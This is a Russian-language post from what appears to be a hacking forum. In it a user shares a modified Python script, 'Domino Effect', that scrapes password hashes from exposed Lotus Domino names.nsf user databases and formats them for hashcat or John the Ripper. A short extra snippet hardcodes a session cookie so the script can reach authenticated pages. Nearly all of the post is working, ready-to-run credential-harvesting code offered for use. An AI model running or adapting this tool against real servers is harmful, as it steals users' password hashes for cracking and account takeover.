• XSS.stack #1 – первый литературный журнал от юзеров форума

чекер DominoEffect ( LotusNotes hash dumper )

sii

(L3) cache
Пользователь
Регистрация
23.11.2018
Сообщения
190
Реакции
281
Столкнулся на днях с проблемой, поднимать msf не хотелось а dominohunter пользовать было не с руки да и не работал он а разгребать в чем там проблема было лень, поискал аналоги и тот что нашел оказался тоже не рабочим в случае когда hash или shortname пуст.
В общем на коленке поправил, код и так не самый качественный там но переписывать свое со шлюхами потоками и блэджеком я не стал.
Добавил обработку в случае пустых значений и возможность указать протокол ( http/https )

Оригинал


Python:
#Domino Effect - A script to extract password hashes from insecure Lotus Domino names.nsf databases.
#Author: Jonathan Broche

#!/usr/bin/env python2

#todo: add port option
import requests, re, BeautifulSoup, sys, argparse, os
requests.packages.urllib3.disable_warnings()


parser = argparse.ArgumentParser(description='Domino Effect - A Lotus Domino password hash tool by Jonathan Broche (@g0jhonny), modified by sii', version="1.0.1")
parser.add_argument('system', help="IP address or hostname to harvest hashes from. ")
parser.add_argument('-u', '--uri', metavar='path', default="/names.nsf", help="Path to the names.nsf file. [Default: /names.nsf]")
parser.add_argument('-t', '--type', metavar='protocol', default="http", help="Protocol type http or https. [Default: http]")
outgroup = parser.add_argument_group(title="Output Options")
outgroup.add_argument('--hashcat', action='store_true',  help="Print results for use with hashcat.")
outgroup.add_argument('--john', action='store_true', help="Print results for use with John the Ripper.")

if len(sys.argv) == 1:
    parser.print_help()
    sys.exit(1)

args = parser.parse_args()
print "\nDomino Effect {}\n".format(parser.version)

headers={'User-Agent':'Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3'}


try:
    response = requests.get("{}://{}{}/People?OpenView".format(args.type, args.system, args.uri), verify=False, headers=headers, timeout=5)
except requests.exceptions.Timeout as e:
    print "[!] Timed out, try again."
    sys.exit(1)
except Exception as e:
        print e

soup = BeautifulSoup.BeautifulSoup(response.text)

links = []

#grab all user profile links
for link in soup.findAll('a'):
    if "OpenDocument" in link['href']:
        if link['href'] not in links:
            links.append(link['href'])

hashes = {}
for link in links: #get user profile
    try:
        response = requests.get("{}://{}{}".format(args.type,args.system, link), verify=False, headers=headers, timeout=2)
    except requests.exceptions.Timeout as e:
        pass
    except Exception as e:
        print e

    if response.text:
        soup = BeautifulSoup.BeautifulSoup(response.text)
        try:
            name = soup.find('input', {'name' : '$dspShortName'}).get('value').strip() #short name
        except Exception as e:
            name = ''
        try:

            httppassword = soup.find('input', { "name" : "HTTPPassword"}).get('value').strip()
        except Exception as e:
            httppassword = ''
        try:
            dsphttppassword = soup.find('input', { "name" : "dspHTTPPassword"}).get('value').strip()
        except Exception as e:
            dsphttppassword = ''
        if httppassword and httppassword not in hashes.keys():
            hashes[httppassword] = name
        elif dsphttppassword and dsphttppassword not in hashes.keys():
            hashes[dsphttppassword] = name   

if hashes: #output
    if args.hashcat or args.john:
        if args.hashcat:
            for h in hashes.keys():
                print h
        if args.john:
            for h, n in hashes.items():
                print "{}:{}".format(n,h)
    else:
        for h, n in hashes.items():
            print "[*] User: {} Hash: {}".format(n, h)


print "\n{} hashes obtained\n".format(len(hashes))

P.S Надо бы порт добавить но мне лень ( я знаю что 10 сек ) :) А по поводу авторизации я впиливаю куки прямо в код ( надо бы сделать парсер куки в нем но как снова столкнусь с sso в лотусе поправлю и выложу ).

Код:
cookie = {'SessionID' : 'FigVamAneSessionMoy' }
#Далее просто добавляем куки как куки при запросе
response = requests.get("{}://{}{}/People?OpenView".format(args.type, args.system, args.uri), verify=False, headers=headers, cookies=cookie, timeout=3)
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх